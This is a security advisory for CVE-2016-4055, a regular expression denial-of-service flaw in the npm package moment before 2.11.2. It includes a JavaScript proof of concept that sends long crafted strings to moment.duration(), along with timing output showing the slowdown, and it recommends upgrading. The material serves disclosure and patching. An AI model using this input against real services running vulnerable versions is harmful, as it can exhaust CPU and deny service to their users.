GHSA-87vv-r9j6-g5qv

    Dashboard / Vulnerabilities / GHSA-87vv-r9j6-g5qv

    GHSA-87vv-r9j6-g5qv

    Published: 24 Oct 2017Last Modified: 8 Nov 2023
    Aliases:
    CVE-2016-4055

    Summary: Regular Expression Denial of Service in moment

    Details: Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); } ``` ### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ``` ## Recommendation Please update to version 2.11.2 or later.

    References: https://nvd.nist.gov/vuln/detail/CVE-2016-4055, https://github.com/advisories/GHSA-87vv-r9j6-g5qv, https://github.com/moment/moment, https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E, https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E, https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E, https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E, https://www.npmjs.com/advisories/55, https://www.tenable.com/security/tns-2019-02, http://www.openwall.com/lists/oss-security/2016/04/20/11, http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html, http://www.securityfocus.com/bid/95849

    Affected packages

    Package

    Name: moment

    Purl: pkg:npm/moment

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -2.11.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High